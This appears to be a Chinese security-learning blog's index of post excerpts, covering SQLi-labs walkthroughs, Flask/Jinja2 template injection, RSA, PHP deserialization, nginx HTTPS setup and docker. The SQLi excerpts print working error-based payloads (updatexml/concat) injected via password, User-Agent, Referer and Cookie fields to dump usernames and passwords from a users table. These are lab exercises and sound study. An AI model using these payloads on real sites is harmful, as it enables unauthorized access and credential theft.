SQLI-LABS 学习记录(二)

less-17 刚开始发现uname被waf,一直在找怎么绕过WAF,但其实是找最佳注入点, 于是找passwd注入,而且可以报错 payload: User Name:admin New Password:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password) from (select id,username,password from users LIMIT 0,1)a),0x7e),1)# less-18 User-Agent注入,同样可以报错,要登录成功才能插入User-Agent payload: User-Agent:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1),0x7e),1) and ‘1’=’1 uname=admin&passwd=1&submit=Submit less-19 Referer注入,payload同上 Referer:1′ and updatexml(1,concat(0x7e,(select concat(id,username,password)from users LIMIT 0,1),0x7e),1) and ‘1’=’1 uname=admin&passwd=1&submit=Submit less-20 cookies注入,不能带Submit参数 payload: Cookie:uname=admin’ and updatexml(1,concat(0x7e,(select concat(id,username,password)from Read more…

Flask/Jinja2 模板注入

0x00 前言 服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。 flask出现模板注入原因主要还是因为使用了render_template_string函数 0x01 环境搭建 test.py from flask import Flask,render_template,config,render_template_string,request from Config import Config app = Flask(__name__) app.config[‘SECRET_KEY’] = “flag{SSTI_123456}” @app.errorhandler(404) def page_not_found(e): template = ”’ <div class=”center-content error”> <h1>Oops! That page doesn’t exist.</h1> <h3>%s</h3> </div> ”’ %(request.url) return render_template_string(template) if __name__==’__main__’:` app.run(‘0.0.0.0’,9999,debug=True) 0x03 检测注入 http://localhost:8888/{{ 7*7 }} Read more…

RSA学习

参考链接:https://www.freebuf.com/articles/others-articles/166049.html 明文n = pow(c,d,N) 表示c的n次方取模 工具 python库 gmpy ​ gmpy.root(x,y)=a,b a为x 开 y 次方的值,a为整数则b为1,否则b为0 gmpy2 ​ invert(…) ​ invert(x, m) returns y such that x * y == 1 modulo m, or 0 if no such y exists. openssl 查看公钥文件 openssl rsa -pubin -in pubkey.pem -text -modulus 解密 rsautl -decrypt Read more…

SQLI-LABS LESS 1-22

平台搭建 https://github.com/Audi-1/sqli-labs 我继续用了phpstudy,因为发现它版本要求是PHP5.x的,XAMPP很明显不行,因为它只有最新PHP最新的版本,无法切换。 当作是一个目录:http://127.0.0.1:801/sqli-labs/就完事,点击Setup/reset Database for labs,数据库表自动创建。 参考大佬的教程玩:https://www.cnblogs.com/peterpan0707007/p/7620048.html Less-1 Less-1很难受,太菜了。之前玩DVWA的时候,源代码的sql语句后面是没有LIMIT 0,1的,还有就是输入url,#必须是url编码,不然就会报错,一直卡在那里。太菜了鸭…… 基础知识: user():当前数据库用户 database():当前数据库名 version():当前使用的数据库版本 @@datadir:数据库存储数据路径 concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password) group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来 concat_ws():用法类似 hex() 和 unhex():用于 hex 编码解码 load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\ select xxoo into outfile ‘路径’:权限较高时可直接写文件 开始测试. 1′ 报错 1′ order by 1%231’ order by 1%23 查询成功,但是之后不管order by 2还是order Read more…

PHP反序列化学习

暑假想学一下PHP反序列化,顺便出一道题, (POP链的构造的题),发现之前writeup没看懂,太菜了…… 魔术手法 构造关键是魔术手法的触发条件 魔术手法 __wakeup 进行unserialize操作时,该函数会提前调用,感觉像激活对象的意思 <?php class Test1 { public function __wakeup(){ echo ‘use __wakeup’; } } $a = new Test1(); ; unserialize(serialize($a)); //use __wakup __sleep 进行serialize操作时,该函数会提前调用,和wakeup相反,我理解为将对象沉睡的意思 class Test2 { public $key1; public function __sleep(){ echo ‘123’; return array(‘key1’); } } $b = new Test2(); $b->key1=”123″; serialize($b); ///123 Read more…

Nginx+SSL证书配置https

0x00 前言 重新换了一下系统盘,因为之前博客用了https,所以配置要重新装。百度到的教程都是比较旧的,我来分享一下新的。 0x01 准备工作 获取证书(直接下载,自己创建都行) 在/etc/nginx里创建cert文件,其实随意文件名,方便管理而已,将key文件和pem文件放进文件夹里。 0x02 修改nginx.conf 现在nginx最大不同就是要设置nginx.conf和default两个文件。nginx.conf的设置 # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; 增加这两行,xxx是密钥文件名 ssl_certificate /etc/nginx/cert/xxx.pem; ssl_certificate_key /etc/nginx/cert/xxx.key; 增加加密方式等等参考https://cipherli.st/这个链接,根据版本选择。 0x03 修改default default文件在/etc/nginx/sites-enabled里,将这两句注释去掉 #listen 443 ssl default_server; #listen [::]:443 ssl default_server; 将上面80端口括起来,再开一个server server { listen 80 default_server; listen [::]:80 Read more…

关于xxx.ddl文件丢失解决办法

Visual 自带dll 最近删visual删的有点疯狂,因为感觉用不上,删了dll也被带走了 安利下面的这个网址,下载丢失的dll https://www.dllme.com/ visual studio带的vc库和dll参考链接:https://stackoverflow.com/questions/21707992/msvcp120d-dll-missing vc8 = Visual Studio 2005 vc9 = Visual Studio 2008 vc10 = Visual Studio 2010 vc11 = Visual Studio 2012 vc12 = Visual Studio 2013 vc14 = Visual Studio 2015 Microsoft C ++运行时dll还使用基于编译器版本而不是Visual Studio版本的2位或3位数代码。 MSVCP80.DLL来自Visual Studio 2005 MSVCP90.DLL来自Visual Studio 2008 MSVCP100.DLL来自Visual Studio 2010 Read more…

Hackergame 2018部分writeup

太菜了,好多不会,随便记录几道题吧,像签到和问答的不太想做 实时排行榜 官方 write-up 已发布:https://github.com/ustclug/hackergame2018-writeups 比赛结束后可以在:https://hack2018.lug.ustc.edu.cn/ 继续查看题目和提交。 0x01 word文档  题目文件 下载下来,office打开不了,上010Editor 504B咳咳,压缩包来噶,改后缀 flag.txt躺在里面……flag{xlsx,pptx,docx_are_just_zip_files} 0x02 猫咪遥控器  题目文件 下载下来是txt文件,按照提示D:向下,U:向上,R:向右,L:向左 贴jio本 import turtle f=open(‘seq.txt’,’r+’).read() turtle.pendown() turtle.speed(10) for i in f: if i==’U’: turtle.seth(90) turtle.fd(1) if i==’D’: turtle.seth(270) turtle.fd(1) if i==’R’: turtle.seth(0) turtle.fd(1) if i==’L’: turtle.seth(180) turtle.fd(1) #while True: #turtle.penup() 看了一下师傅writeup,不使用turtle库 seq=[] r=open('seq.txt').read() now=[130,1] for Read more…

挖坑清单:XAMPP启动不了

转自:https://blog.csdn.net/kunlong0909/article/details/7716715 Xampp的获得和安装都十分简单,你只要到以下网址: 刚安装完xampp时,apache服务器是启动不了的。这个原因有很多,下面我来一一细说。 0x01没有安装VC9的环境 要判断是否是这一问题十分简单,只要单独运行C:\xampp\apache\bin\httpd.exe时(这个是我的安装路径),提示“系统无法执行指定的程序”(这个是用命令行运行后的提示),如果是直接双击httpd.exe,则会提示环境配置错误。 解决办法:直接下载vcredist_x86.exe。 以下是在php.net看到的提示信息: VC9 Versions are compiled with the Visual Studio 2008 compiler and have improvements in performance and stability. The VC9 versions require you to have the Microsoft 2008 C++ Runtime (x86) or the Microsoft 2008 C++ Runtime (x64) installed 按照链接下载了Microsoft Visual C++ 2008 Redistributable Read more…

docker学习记录

0x00 前言 docker学的太菜了,诟病很久了,之前学过会一些基本命令,但是真正搭一个web应用一直不会终于成功了记录一下。趁没课花了一早上学了一波终于成功了。 docker一些基本命令 查看已有镜像: docker images 删除镜像 docker rmi [Image ID] 删全部:docker rmi $(docker images -q) 查看运行中的容器: docker ps 查看所有容器: docker ps -a 删除容器: docker rm [container ID] 删全部:docker rm $(docker ps -a -q) 停止容器运转: docker stop [container ID] 运行一个镜像: docker run [OPTIONS] IMAGE [COMMAND] [ARG…] 常用[option] -p 主机端口号:容器端口 Read more…